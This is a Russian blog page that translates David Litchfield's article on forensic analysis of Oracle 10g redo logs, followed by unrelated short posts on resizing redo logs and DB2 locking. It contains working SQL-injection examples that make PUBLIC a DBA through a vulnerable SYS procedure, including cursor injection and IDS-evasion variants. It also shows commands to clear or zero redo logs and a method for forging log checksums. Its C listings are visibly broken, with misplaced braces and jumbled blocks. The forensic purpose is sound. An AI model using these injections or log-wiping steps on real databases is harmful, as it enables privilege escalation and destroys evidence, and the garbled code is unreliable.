Это перевод первой статьи из цикла «Анатомия Oracle» Дэвида Литчфильда.
Исследование проводилось на сервере с установленным на Windows Oracle 10g Release 2.
СУРБД Oracle была создана с мыслю о гибкости и часть этого возможна благодаря redo-логам (или журналам операций). Целью использования журнала операций является экстренное восстановление БД в некоторых случаях сбоев системы и потери файлов данных. Восстановив файлы данных из ранее сделанных резервных копий, файлы журнала операций (включая архивные файлы журнала) могут повторить все последние транзакции. Таким образом, файлы данных будут полностью восстановлены. Это также имеет ценность для исследователя, ответственного за анализ вторжения в БД. Все действия взломщика могут остаться в логах. "Могут", потому что это зависит от конфигурации БД и нагрузки. Доказательств может и не быть вообще. В этой статье мы рассмотрим redo-логи и научимся находить доказательства взломов и понимать, как действуют взломщики. В этой статье не используется программа Logminer или дамп-файлы на базе ASCII, которые можно сгенерировать командой ALTER SYSTEM DUMP LOGFILE.
[Обзор работы redo-логов]
События, которые привели к изменению данных в базе, записуются в буфер БД в память SGA (System Global Area – Глобальная Область Системы). Каждые три секунды или когда делается COMMIT, фоновый процесс LGWR переписывает эти данные с буфера в файлы на диске. Эти файлы (два или больше) известны как Online Redo Log. Когда один файл заполняется - сервер переключается на другой файл группы и т.д. Когда все файлы заполнены, сервер возвращается к первому и начинает перезаписывать предыдущие вводы. Чтоб избежать потери нужной информации, в Oracle есть фоновой процесс ARCn, который архивирует логи. Хотя нужно заметить, что не на всех БД Oracle архивация включена. Сервер с включенной опцией работает в режиме ARCHIVELOG и в режиме NONARCHIVELOG если наоборот. Это существенно, поскольку, когда сервер не архивирует данные, следы атаки можно быстро перезаписать. Очевидно, что количество запросов, которые изменяют статус БД прямо зависит от быстроты изменений. Несомненно, взломщик может использоваться этим и мы увидим как чуть позже.
Проверка режима сервера:
1)Проверить значение параметра LOG_ARCHIVE_START в файле параметров запуска сервера
2) Сделать спец. запрос. True - режим архивации, False - наоборот.
SQL> SELECT VALUE FROM V$PARAMETER WHERE NAME = ‘log_archive_start’;
VALUE
--------
TRUE
Исходя из бинарного формата, нет разницы между архивным redo-логом и онлайн файлом redo-логов.
А почему бы просто не использовать ALTER SYSTEM DUMP LOGFILE???
Бинарный redo-лог файл можно сдампить в ASCII, который можно будет просмотреть в любом текст.-редакторе используя команду ALTER SYSTEM DUMP LOGFILE. Можем предположить, что анализ можно сделать только когда будет возможность интерпретировать бинарную версию, но это так. Во-первых, исследователь может не иметь доступ к БД сервера Oraclе, который может использовать для дампа лог-файла; он не может использовать компрометированный сервер, поскольку исполнение команды приведет к дампу ASCII версии в файл отслеживания в директории USER_DUMP_DEST, которая зазначена в файле загрузки или с точки зрения V$PARAMETER. Дампинг таким образом перезапишет большие данные на диске в системе и потенциально удалит доказательства атаки. Таким образом, этого стоит избегать. Плюс, дампинг лог-файла не показывает всю информацию, которая есть в файле. Например, после переключения между лог-файлами, когда файл группы заполнен и процесс LGWR переходит к другому файлу, порядковый номер логов изменяется. Только записи, которые используют данную последовательность логов будут сдампены. Таким образом, более старые номера пропускаются.
Наконец, начиная с Oracle 9.0.1 названия любых DDL команд таких, как CREATE, ALTER, DROP, GRANT
и REVOKE, которые были исполнены, можно найти только в бинарном варианте. "DUMP LOGFILE" не покажет их. Это значит, что необходимые доказательства будут пропущены. К тому же, не достаточно просто посмотреть на ASCII дамп redo-лога; исследователь также должен уметь интерпретировать бинарник. Таким образом, он должен исползовать ALTER SYSTEM на своем собственном сервере, чтоб проанализировать файлы и записи. Это и делает утилита Logminer.
(исследование Пола Врайта - Oracle Database Forensics using LogMiner, Paul Wrigh thttp://www.giac.org/certified_professionals/practicals/gcfa/0159.php)
[Анализ Redo-лога в двоичном формате]
Хэдер лога
Анализируем заголовок онлайн redo-лог файла, который состоит из двоих частей. Первая - тип, размер и количество блоков. Вторая - относится к самой БД. Назовем эти две части - хэдер файла и хэдер redo-лога соответственно.
Хэдер файла
Большинство двоичных данных и лог-файлов в Oracle имеют подобный формат. Онлайн redo-лог не исключение. На диаграмме ниже показаны первые 80 байт файла онлайн redo-логов.
Тип файла
Чтоб различать разные типы файлов в Oracle, второй байт используется как указатель типа файла. Например, в 2 релизе 10g - файлы данных имеют тип 0xA2, файлы управления - тип 0xC2 и мы можем увидеть с дампа hex, что наш файл есть типа 0x22.
Размер блока
Каждый файл логов, как и другие файлы в Oracle, разбит на блоки. Размер блока может быть найден в 21 байте файла. DBA может установить размер блока для дата-файлов. Размер блока для файлов redo-лога зависит от ОСи. В Windows, Linux и Solaris - 512 байт - 0x0200, в то время как в HP-UX размер блока - 1024. Хэдер файла занимает целый блок как и хэдер redo-лог файла - т.е. два блоки предназначены для информации о логе redo.
Количество блоков
25 байт в хэдере - это количество блоков в файле, не считая блоки, которые использует сам хэдер файла. В логе это число 0x00019000 - или 102400 в десятичной системе. Если прибавить к этому числу 1 (как блок используемый хэдером файла) и потом умножить на размер блока - мы получим целый размер файла:
(102400 + 1) * 512 = 52429312
Проверим:
C:\oracle\product\10.2.0\oradata\orcl>dir REDO01.LOG
Volume in drive C has no label.
Volume Serial Number is 0B3A-E891
Directory of C:\oracle\product\10.2.0\oradata\orcl
13/03/2007 19:08 52,429,312 REDO01.LOG
1 File(s) 52,429,312 bytes
0 Dir(s) 14,513,668,096 bytes free
Magic
-это файл-маркер используемый Oracle'ом для быстрой проверки является ли файл на самом деле файлом Oracle.
Хэдер Блока
Каждый блок имеет свой 16-байтный хэдер, даже когда запись redo переходит границу блока.
Это важно, когда информация извлекается в redo-лог как символьная строка, или любые другие данные для потребности, могут быть разделены хэдером.
Здесь мы видим пример блок хэдера (желтый цвет), который разделил символьную строку - в этом случаи команду CREATE USER DDL. Каждый хэдер блока начинается с сигнатуры 0x0122, после которой идет номер блока, и потом порядковый номер и офсет (смещение). Последние три бита информации формируют Relative Block Address или RBA записи redo со смещением на начало записи внутри блока. Таким образом, если офсет 0x38, как в нашем случаи, запись redo начнется с 0x01679A00 + 0x38 = 0x01679A38.В конце концов, у нас есть контрольная сумма. И так нам нужно разобраться - как получается контрольная сумма.
Контрольная сумма ]
Для обеспечения целостности данных, каждый блок имеет контрольную сумму. При проверке контр. суммы, по сути каждый блок делится на 64-байтные под-блоки. Первые 16 байтов каждого под-блока XORуются с вторыми 16 байтами, третье с четвертыми. <...> Из этих 16
байт, первые четыре байта XORуются с другими четырьмя байтами, затем третье, затем четвертые. В итоге получается результат в 4 байта - или DWORD. 16 бит высшего порядке должны совпадать с нижними 16битами если контрол. сумма верна. Следующие две функции показывают как это реализировано на С.Code:int do_checksum(int block_size, unsigned char *buffer) { unsigned char block1[16]=""; unsigned char block2[16]=""; unsigned char block3[16]=""; unsigned char block4[16]=""; unsigned char out1[16]=""; unsigned char out2[16]=""; unsigned char res[16]=""; unsigned char nul[16]=""; int count = 0; unsigned int r0=0,r1=0,r2=0,r3=0,r4=0; } while(count < block_size) { memmove(block1,&buffer[count],16); memmove(block2,&buffer[count+16],16); memmove(block3,&buffer[count+32],16); memmove(block4,&buffer[count+48],16); do_16_byte_xor(block1,block2,out1); do_16_byte_xor(block3,block4,out2); do_16_byte_xor(nul,out1,res); memmove(nul,res,16); do_16_byte_xor(nul,out2,res); memmove(nul,res,16); count = count + 64; } memmove(&r1,&res[0],4); memmove(&r2,&res[4],4); memmove(&r3,&res[8],4); memmove(&r4,&res[12],4); r0 = r0 ^ r1; r0 = r0 ^ r2; r0 = r0 ^ r3; r0 = r0 ^ r4; r1 = r0; r0 = r0 >> 16; r0 = r0 ^ r1; r0 = r0 & 0xFFFF; return r0; int do_16_byte_xor(unsigned char *block1, unsigned char *block2, unsigned char *out) { int c = 0; while (c<16) { out[c] = block1[c] ^ block2[c]; c ++; } return 0; }
Например, припустим, что контрольная сумма в блоке 0x4E50, а результат DWORD после исполнения операций ХОR 0x59B109B1. Это значит 0x59B1 для верхнего ряда 16 бит и 0x09B1 для нижнего. XOR даст всумме 0x5000 (Если бы контр. сумма была правильная - выдал бы 0x0000. Итак, чтоб это исправить, мы просто используем XOR таким образом:
0x4E50 ^ 0x5000 = 0x1E50
Если б нам тогда нужно было изменить контр. сумму на эту (0x1E50) - она бы теперь подошла.
Хэдер redo-лога
Хэдер redo-лога намного интереснее хэдера файла и вмещает очень много информации: SID БД, версию БД и время, когда начался лог.
На картинке мы видим 4 разных Номера Системного Изменения (System Change Numbers - SCN): Low, Next, Enabled и Thread Closed SCNs. Вместе с каждым есть дата. Перед тем, как разобраться, как исчисляется время в логах, давайте быстренько пройдемся по этих SCN. SNC или номер системного изменения - это как маркер, который использует Oracle для индикации состояния системы. Другими словами, если кто-то изменяет состояние БД, например, используя INSERT после COMMIT, Oracle за всем этим следит, используя SCN. Если состояние нужно восстановить - в будущем можно использовать SNC для индикации "версии" состояния БД, которую вы хотите восстановить.
[Как записывается время в Redo-логах]
Каждая запись в логах имеет отметку времени, в секундах, которую исследователь может использовать для понимания последовательности событий. Обратите внимание, что время показывает, когда запись была создана в логе, а не когда произошло изменение в БД, т.е. может быть промежуток между реальным событием и фактической записью на диск. Хотя, операции DDL исполняются сразу и дату в логах можно считать точной. Что касается точности времени записей, назовем момент 1 января 1988 00:00:00 - T-день
. Во-первых, время хранится как 32-ох битное значение - это перекодированная версия времени, начиная с T-дня. Исчисляется так: возьмите текущий год и отнимите 1988. Умножьте на 12. Возьмите текущий месяц, отнимите и добавьте это к результату. Умножьте на 31 и добавьте текущий день минус один. Умножьте на 24 и добавьте текущий час. Умножьте это на 60 и добавьте текущие минуты, умножьте на 60 и добавьте секунды. Итак, если сейчас 2007-03-15 20:05:10 то метка времени будет:
2007 - 1988 = 19
19 * 12 = 228
228 + 3 - 1 = 230
230 * 31 = 7130
7130 + 15 - 1 = 7144
7144 * 24 = 171456
171456 + 20 = 171476
171476 * 60 = 10288560
10288560 + 5 = 10288565
10288565 * 60 = 617313900
617313900 + 10 = 617313910
Метка времени:
Timestamp = 617313910 (0x24CB7676)
Теперь, когда мы знаем, как время исчисляется в логах, мы можем его "декодировать" с помощью этого кода на СCode:/* Oracle timestamp "decoder" */ #include <stdio.h> int main(int argc, char *argv[]) { unsigned int t = 0; unsigned int seconds = 0; unsigned int minutes = 0; unsigned int hours = 0; unsigned int day = 0; unsigned int month = 0; unsigned int year = 0; if(argc == 1) return printf("%s timestamp\n",argv[0]); t = atoi(argv[1]); seconds = (t % 60); t = t - seconds; t = t / 60; minutes = t % 60; t = t - minutes; t = t / 60; hours = t % 24; t = t - hours; t = t / 24; day = t % 31; t = t - day; t = t / 31; day ++; month = t % 12; t = t - month; month ++; t = t / 12; year = t + 1988; printf("%.2d/%.2d/%.4d %.2d:%.2d:%.2d\n",day,month,year,hours,minutes,seconds); return 0; }
[Содержимое Redo-record]
Запись изменений (redo record) включает в себя все изменения для данного SCN. Запись имеет хэдер и один, или больше векторов изменений (change vectors). Их может быть один или больше для одного события. Например, если пользователь исполняет INSERT в таблицу с индексом, создается несколько векторов изменений. Будет вектор redo и undo для INSERT и потом insert leaf row для index и commit. Каждый вектор имеют свой код операции для легкой идентификации между собой. Ниже представлена таблица показывает наиболее популярные:
5.1 Undo Record
5.4 Commit
11.2 INSERT on single row
11.3 DELETE
11.5 UPDATE single row
11.11 INSERT multiple rows
11.19 UPDATE multiple rows
10.2 INSERT LEAF ROW
10.4 DELETE LEAF ROW
13.1 Allocate space [e.g. after CREATE TABLE]
24.1 DDL
Исследователь должен изучить каждую запись и отличить обычную от записи атаки.
[Операции с DML (Data Manipulation Language, язык обработки данных)]
DML включает операции INSERT, UPDATE и DELETE. Исполнение любой из них приводит к изменению состояния БД и тогда создается запись redo. Если взломщик исполнит любую с этих команд, вы найдете запись об этом в файле лога.
Расследование записи об INSERT
Этот hex-дамп показывает, как будет выглядит запись в логе после исполнения INSERT и сommit сразу после него - ну мы припустим, что не знаем об этом. Посмотрим, как мы разберемся.
Сначала мы видим запись - размером 0x01A8 байт и VLD - 0x0D. Это говорит нам, что код операции (opcode) для первого вектора изменения можно найти в 0x44 байте в записи - – 0x0B02 – 11.2 - INSERT. 4 байта перед этим - это отметка времени для записи - 0x24CC67F9 или 03/16/2007 13:15:37. Зная, что мы имеем дело с INSERT, с 0x0B02, можем найти ID объекта для объекта, над которым проводился INSERT - это 22 байта перед кодом операции. В дампе на картинке он выделен серым цветом - 0x0057 – или 87. Исследователь должен узнать номера объектов, типы и хозяинов этих объектов в БД. Таким образом, он заметит что объект 87 это таблица SYS под именем SYSAUTH$. Потом, исследователь может найти количество столбцов, проверяя размер массива 24 байта от кода операции, 2 байта от ID обьекта. В нашем случаи 0x0C – 12. Это указывает на то, что INSERT был произведен в три столбца. Почему это так? Во-первых, каждая запись в массиве занимает 2 байта - значит 6 записей - но одна с 6 - это запись самого размера и ещё две 0x0014 и 0x0031. Последние две - напол-изменены, но могут быть 0x44. В дампе мы видим записи в строке 0x001d2870 и голубых прямоугольниках: 0x0002, 0x0002 и 0x0003. Значит, количество байтов данных INSERTованых в первый столбец - два, во второй - тоже два, и в третий - три. Сразу после массива у нас есть "ор" и "ver". В зависимости от того, имеем ли мы чётное или нечётное число записей в массиве, это будет влиять на размещение "op" и "ver":
если чётное - сразу после, а если нечётное - через два байта. В примере, мы видим, что и "ор" и "ver" - одиница. "ор" может быть 1 с 1,2 или 17. В зависимости от значения "ор" - фактическое размещение значений, INSERTованых в бд, будет различаться. В случаи 1 - их можно найти на 72 байте от позиции “op”. Если “op” - 2 - на 64 байте. Если 17 - на 120 байте от “op”. В хекс-дампе, показанном выше, мы видим данные красным цветом - 72 байта после “op” . И снова, с "живых" стадий ответа сервера мы знаем что столбцы 1,2 и 3 с таблицы SYS.SYSAUTH$ - числовые и мы понимаем, что ищем цифровые данные. Нужно объяснить, как Oracle хранит числа. Числа 1-99 считаются как "юниты" и хранятся как 2 байта - первый - индикатор (0xC1), а второй байт это сам номер плюс один. Если номер 1 будет закодирован как 0xC102, то второй будет 0xC103 и т.д. Числа между 100 и 9999 хранятся как 2 или 3 байта. Байт-индикатор повышается к 0xC2, чтоб показать увеличение значения. Таким образом, 100 будет 0xC202, но 101 будет 0xC20202. Здесь мы имеем 1 из "100-ней" и 1 с "юнитов". 201 будет 0xC20302, 301 - 0xc20402 и т.д. Если мы увеличиваем число между 10000 и 999999 - наш индикатор увеличится к 0xC3. 10000 будет хранится как 0xC302, 10001 как 0xC2020102. Здесь 1 с "10000", нет соток и 1 с "юнитов". Для каждых дополнительных двоих нулей в конце- номер индикатора увеличивается на 1. Таким образом, для 1000000-99999999, индикатор 0xC4, для 100000000-9999999999 - индикатор 0xC5 и т.д. Возвращаясь к нашему дампу, мы видим, что данные записанные как ,
0xC105 и 0xC20931. Декодируем эти числа. Получаем 1 для первого, 4 для второго и 848 для третьего [(9-1) * 100 + (49 -1)].
Реконструируя, что случилось мы увидим что было произведено:
SQL> INSERT INTO SYS.SYSAUTH$ (GRANTEE#,PRIVILEGE#, SEQUENCE#) VALUES (1,4,848);
Таблица SYS.SYSAUTH$ следит за тем, кто был назначен мемберством какого типа и с "живого" анализа, исследователь увидит, что “user” 1 (т.е. с столбца GRANTEE#) - PUBLIC и что DBA - 4. SQL была сделана паблик, другими словами, каждый пользователь - DBA.Это одобряют 3 пользоветелей.
Пример на С, который показывает как сдампить запись INSERT:Code:int DumpInsert(unsigned char *e) { unsigned int s = 0,cnt = 0, c = 0; unsigned short objectid = 0; unsigned int entry_size = 0; unsigned int timestamp = 0; unsigned int base = 68; unsigned int r = 0, r2 = 0, r3 = 0, r4=0, f=0, n=0; unsigned int gap = 0; unsigned char opcode = 0, subopcode = 0, op = 0; unsigned char cls = 0, afn = 0; unsigned char *p = NULL; unsigned char *entry = NULL; unsigned char *array = NULL; unsigned char *data = NULL; memmove(×tamp,&e[-4],4); gettime(timestamp); entry = (unsigned char *) malloc(32); if(!entry) { printf("malloc error...\n"); return 0; } memset(entry,0,32); // Get current line count r = count % 16; memmove(entry,e,r); // check if we cross a block boundary while(f < 32) { r3 = r + f; if(r3 % 512 == 0) { n = n + 16; } memmove(&entry[f+r],&e[f+r+n],16); f = f + 16; } gc ++; cls = entry[2]; afn = entry[4]; if(cls !=1) { free(entry); entry = 0; return 0; } if(afn !=1 && afn !=3) { free(entry); entry = 0; return 0; } memmove(&objectid,&entry[22],2); memmove(&cnt,&entry[24],2); printf("Object ID: %d [%X]\n",objectid,objectid); printf("cls: %d\n",cls); printf("afn: %d\n",afn); printf("count: %.2X\n",cnt); array = (unsigned char *) malloc(cnt+8+1); if(!array) { printf("malloc error [array]\n"); free(entry); return 0; } memset(array,0,cnt+8+1); memmove(array,&e[24],cnt+8); printf("X: %.2X Y: %.2X\n",array[2], array[4]); // Get total size of data r3 = 6; r4 = 0; while(r3 < cnt) { //printf("%.2X %.2X ",array[r3],array[r3+1]); memmove(&r2,&array[r3],2); r4 = r4 + r2 + 1; r3 = r3 + 2; } r4++; r4++; // Make room for data data = (unsigned char *) malloc(r4+1); if(!data) { printf("malloc error [data]\n"); free(entry); free(array); return 0; } memset(data,0,r4+1); // Get the number of entries r2 = (cnt / 2) % 2; // If the number of entries is odd if(r2) { printf("op: %.2X ver: %.2X\n",array[cnt+2],array[cnt+3]); op = array[cnt+2]; gap = cnt + 24 + 2; if(array[cnt+3] !=1) { // shouldn't get here ReportError(entry); free(entry); free(array); free(data); return 0; } } // if the number of entries is even else { printf("op: %.2X ver: %.2X ***\n",array[cnt+0],array[cnt+1]); op = array[cnt+0]; gap = 24 + cnt; if(array[cnt+1] !=1) { // shouldn't get here ReportError(entry); free(entry); free(array); free(data); return 0; } } // op = 2... 64 // op = 1... 72 // op = 11... 120 if(op == 1) { memmove(data,&e[gap+72],r4); r3 = 0; while(r3 < r4) { printf("%.2X ",data[r3]); r3 ++; if(r3 % 16 == 0) printf("\n"); } } else if(op == 2) { memmove(data,&e[gap+64],r4); r3 = 0; while(r3 < r4) { printf("%.2X ",data[r3]); r3 ++; if(r3 % 16 == 0) printf("\n"); } } else if(op == 0x11) { memmove(data,&e[gap+120],r4); r3 = 0; while(r3 < r4) { printf("%.2X ",data[r3]); r3 ++; } else { } if(r3 % 16 == 0) printf("\n"); } // shouldn't get here PrintLine(entry); getch(); } printf("\n"); free(entry); free(array); free(data); return 0;
После INSERT-redo векторов изменений есть ещё два вектора под именем undo-хэдер и undo. undo имеет user ID, привязанный к INSERT - в нашем случаи - 0x36 или 54 (дец.) - т.е. SCOTT. Заметьте, что обыкновенно, SCOTT не может делать INSERT в таблицуSYS.SYSAUTH$. Чтоб показать, где найти user ID в записи undo, дадим SCOTT'у разрешение на INSERT в таблицу.
[Исследование DDL в логах Redo]
Поскольку мы знаем, что текст операторов DDL записывается в online redo-логи, заметим, что этот текст отсутствует после дампинга лога, используя “ALTER SYSTEM DUMP LOGFILE". Всё, что мы увидим в трассировочном файле это запись такого вида:
REDO RECORD - Thread:1 RBA: 0x000082.0000febf.002c LEN: 0x00f4 VLD: 0x01
SCN: 0x0000.003a061f SUBSCN: 1 03/13/2007 13:55:41
CHANGE #1 MEDIA RECOVERY MARKER SCN:0x0000.00000000 SEQ: 0 OP:24.1
Оп. код. 24.1 указывает на DDL. Чтоб узнать какая DDL была запущена, мы должны найти запись в актуальном бинарном redo-логе. С RBA мы видим, что номер блока 0x0000FEBF (65215). И зная, что размер блока на конкретной платформе - 0x200 (512) байтов - мы находим офсет в файле: 512 * 65215 = 33390080 или в хексах 0x01FD7E00.
Используя наш любимый хекс-редактор, открываем лог и ищем оффсет.
Видим хэдер блока (0x122) возле оффсета 0x01FD7E00. Мы также можем увидеть текст DDL - в нашем случаи “create user wiggywiggywiggy identified by VALUES ‘2FA1749D698AD874’”, но нам нужно понять бинарный формат. Эта диаграмма поазывает, какие значения относятся к каким битам информации.
Здесь видим, что пользователь SCOTT (105 байт в записи), пока его сессия относится к SYS , успешно исполнил команду DDL “CREATE USER”. Сказать, что сделал он это с помощью например SQL-инъекции или нет, тяжело без доказательств. Это мы рассмотрим позже. Теперь, нам важно, как можно прочесть бинарный формат операторов DDL.
Простой и быстрый способ дампинга операторов DDL с redo-логов это использовать утилиты “strings”, “grep” или “findstr”. Обратите внимание: если текст команды DDL переходит границы блока, он будет обрезанным. Таким образом, если вы ищете “GRANT” и “GRA” есть в конце одного блока, а “NT” в начале следующего блока - поиск не принесет результатов.
[Исполнение постпрограмм redo-логов после атаки]
Много атак на Oracle основаны на SQL-инъекциях, но не смотря на направления, действия взломщика это то, что покажется в логах. Посмотрим на некоторые примеры и как они выглядят в redo-логах. Для этого, припустим, что есть процедура под именемGET_OWNER, под управлением SYS, имеет полномочия и исполняется PUBLIC. Вдобавок припустим, что присутствует sql-инъекция.
Рассмотрим атаку используя sql:
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
2 AUTHID CURRENT_USER IS
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 BEGIN
5 EXECUTE IMMEDIATE 'INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#)
VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))';
6 COMMIT;
7 RETURN 'OWNED!';
8 END;
9 /
Function created.
SQL> EXEC SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR');
BEGIN SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR'); END;
*
ERROR at line 1:
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
ORA-06512: at "SCOTT.GET_DBA", line 5
ORA-06512: at "SYS.GET_OWNER", line 3
ORA-06512: at line 1
SQL>
Не смотря на сообщение об ошибке атака удалась, но что это за атака? Эта sql создает функцию под именем GET_DBA, которая делает PUBLIC - пользователем с ролью DBA, но использует скорее INSERT чем GRANT. Потом проводится инъекция в уязвимую процедуру GET_OWNER. Это та же SQL в записи redo, которую мы рассматривали раньше, исследую записи INSERT. Но есть одно ключевое отличие. В этом случаи user ID - это 0, другими словами, пользователь SYS.
Это особенно важно для исследователя. Только потому, что команда DML была произведена другим пользователем, в нашем случаи SCOTT, запись redo покажет user ID учетной записи хозяина уязвимой процедуры. Это имеет смысл, под видом того, что на самом деле SYS исполнял INSERT, и именно так работает процедура определения полномочий.
Исследователь должен приделять особенной внимание при создании последовательности событий.
В случаи DDL это не проблема. Рассмотрим это:
SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
4 BEGIN
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
7 begin execute immediate ''grant dba to public' ; commit; end;',0);
8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
9 END;
10 /
Cursor value is :2
PL/SQL procedure successfully completed.
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(2))--');
PL/SQL procedure successfully completed.
Здесь SCOTT "закутал" GRANT DBA TO PUBLIC в блок анонимного PLSQL, который потом анализируется, используя DBMS_SQL в cursor injection attack [2]. После этого, производится инъекция курсора в уязвимую процедуру.
Заметив, что SCOTT записан как пользователь, исполнивший команду DDL. Таким образом, если взломщик исполняет DDL, мы можем это легко увидеть.
Давайте немножко изменим атаку - и представим, что взломщик использовал техники обхода IDS (Intrusion Detection System - система обнаружения [сетевых] атак), используя цепочки операторов double pipe и/или comment markers.
SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
4 BEGIN
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
7 begin execute immediate ''gra''||''nt/**/dba/**/to/**/public''; commit; end;',
0);
8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
9 END;
10 /
Cursor value is :8
PL/SQL procedure successfully completed.
SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(8))--');
PL/SQL procedure successfully completed.
Здесь взломщик разбил слово GRANT с помощью double-pipe и установил comment markers между каждого слова. Как это выглядит в логах?
Пока мы не видим признака double pipe, но мы видим comment markers. Это ещё один ключевой момент о котором должен знать исследователь.
Атаки на redo-логи
Если взломщик получает права DBA, например, с помощью инъекции, он может изменить логи. Это можно сделать используя команду ALTER DATABASE CLEAR LOGFILE, которая полностью уничтожает все записи в логах, таким образом удаляя большинство доказательств. Но используя это команду, текст оператора будет добавлен в текущий файл лога. Попытка очистить текущий лог покажет ошибку:
SQL> ALTER DATABASE CLEAR LOGFILE GROUP 1;
ALTER DATABASE CLEAR LOGFILE GROUP 1
*
ERROR at line 1:
ORA-01624: log 1 needed for crash recovery of instance orcl (thread 1)
ORA-00312: online log 1 thread 1:
'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG'
Даже если взломщик переключит лог-файл используя ALTER SYSTEM SWITCH LOGFILE, всё равно новый лог-файл будет иметь записи о попытке стереть файл.
Это диаграмма показывает, что пользователь SCOTT успешно очистил лог-файл 2.
Попытка удалить файл используя [bUTL_FILE[/b] не удастся через нарушение процедуры совместного использования.
SQL> CREATE DIRECTORY RLOG AS 'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL';
Directory created.
SQL> exec utl_file.fremove('RLOG','REDO01.LOG');
BEGIN utl_file.fremove('RLOG','REDO01.LOG'); END;
*
ERROR at line 1:
ORA-29291: file remove operation failed
ORA-06512: at "SYS.UTL_FILE", line 243
ORA-06512: at "SYS.UTL_FILE", line 1126
ORA-06512: at line 1
Хотя её можно "онулить" так же, как и вписать в неё.
SQL> declare
2 fd utl_file.file_type;
3 begin
4 fd := utl_file.fopen('RLOG', 'redo01.log', 'w');
5 utl_file.fclose(fd);
6 end;
7 /
PL/SQL procedure successfully completed.
Теперь проверим размер файла:
C:\oracle\product\10.2.0\oradata\orcl>dir REDO01.LOG
Volume in drive C has no label.
Volume Serial Number is 0B3A-E891
Directory of C:\oracle\product\10.2.0\oradata\orcl
16/03/2007 11:22 0 REDO01.LOG
1 File(s) 0 bytes
0 Dir(s) 14,516,092,928 bytes free
Очистку redo-логов любым с этих методов можно увидеть. Хитрый взломщик может вместо этого попытаться вписать или перезаписать правильные записи - неправильными, т.е. подделать логи. Понимая, как генерируется контрольная сумма для данного блока - все действия DDL и DML можно перезаписать, оставляя другую часть лога нетронутой. И это тяжело будет заметить.
Для систем, которые не работают в режиме архивации, взломщик, который не смог получить права DBA - всё ещё может замести следы - или заменить их на более "благоприятный" вид. Например, взломщик мог использовать множественные INSERT запросы в таблицу, где PUBLIC имеет разрешение на INSERT в, скажем, таблицу SYSTEM.OL$. Когда лог-файл заполняется и они переключаются, предыдущие записи будут перезаписаны.
Заключение
Как мы можем увидеть, логи redo могут быть богатым источником доказательств для исследователя при изучении БД сервера Oracle. Имея возможность интерпретировать бинарный формат, можно открыть признак взлома, которые такие инструменты как Logminer или файлы ASCII дампов не могут показать.
пʼятниця, 6 листопада 2015 р.
пʼятниця, 14 серпня 2015 р.
Скрипт пересоздания redo с другим размером
declare status varchar(30); lim number := 50; begin for i in (select * from v$logfile where type = 'ONLINE' and group# in (select group# from v$log where bytes / 1024 / 1024 < lim)) loop select status into status from v$log where group# = i.group#; while status != 'INACTIVE' loop execute immediate 'alter system switch logfile'; execute immediate 'alter system checkpoint'; select status into status from v$log where group# = i.group#; end loop; execute immediate 'alter database drop logfile group ' || i.group#; execute immediate 'alter database add logfile group ' || i.group# || ' (''' || i.member || ''') size '||lim||'M reuse'; end loop; end;
lim - минимальный размер файла в Мб. Все файлы пересоздаются на месте старых. Скрипт нормально обрабатывает standby-логи, но убивает всех мемберов, кроме первого попавшегося, если их больше одного.
пʼятниця, 24 липня 2015 р.
Механизмы обеспечения транзакций
5.4.1 Механизмы DB2
В DB2 для обеспечения атомарности транзакций применяется "упреждающее протоколирование", при котором изменения в данных записываются в журнальный файл прежде, чем транзакция фиксируется. Изменения в данных производятся в журнальных файлах и лишь при фиксации транзакции переносятся в основную область данных СУБД. Журнал используется для повторения или отката транзакций в случае сбоя.В основе механизма обеспечения изоляции DB2 лежат блокировки. Суть блокировки состоит в том, что если для выполнения транзакции требуется гарантия того, что определенный объект не будет изменен параллельно выполняющейся транзакцией, объект блокируется, то есть, запрещается доступ к нему из других транзакций.
В самом простом случае СУБД обеспечивает блокировки двух типов:
S
-блокировка - разделяемая блокировка или блокировка чтения, допускающая совместный доступ к строке таблицы;X
-блокировка - эксклюзивная блокировка или блокировка записи, не допускающая совместного доступа к строке.
S
-блокировку. Прежде чем обновить (update, delete, insert) строку таблицы транзакция должна установить для строки X
-блокировку. Если для строки уже установлена блокировка, несовместимая с той, которую пытается установить наша транзакция, то попытка нашей транзакции отвергается, транзакция переводится в ожидание до того момента, пока ранее установленная блокировка не будет снята. Совместимость блокировок показана в следующей таблице. S | X | |
S | да | нет |
X | нет | нет |
Для уменьшения объема проверяемых при любом доступе блокировок вводятся дополнительные типы блокировок, называемые блокировками намерения. Блокировки намерения накладываются на всю таблицу перед наложением
S
- или X
-блокировки на строку таблицы. Основной набор блокировок намерения следующий (хотя в действительности DB2 этот набор несколько шире):IS
- блокировка намерения чтения. Накладывается на некоторую таблицу T и означает намерение блокировать некоторую входящую в T строку в режимеS
-блокировки.IX
- блокировка намерения записи. Накладывается на некоторую таблицу T и означает намерение блокировать некоторую входящую в T строку в режимеX
-блокировки.SIX
- блокировка чтения с намерением записи. Накладывается на некоторую таблицу T и означает разделяемую блокировку всей этой таблицы с намерением впоследствии блокировать какие-либо входящие в нее строки в режимеX
-блокировок.
IS | S | IX | SIX | X | |
IS | да | да | да | да | нет |
S | да | да | нет | нет | нет |
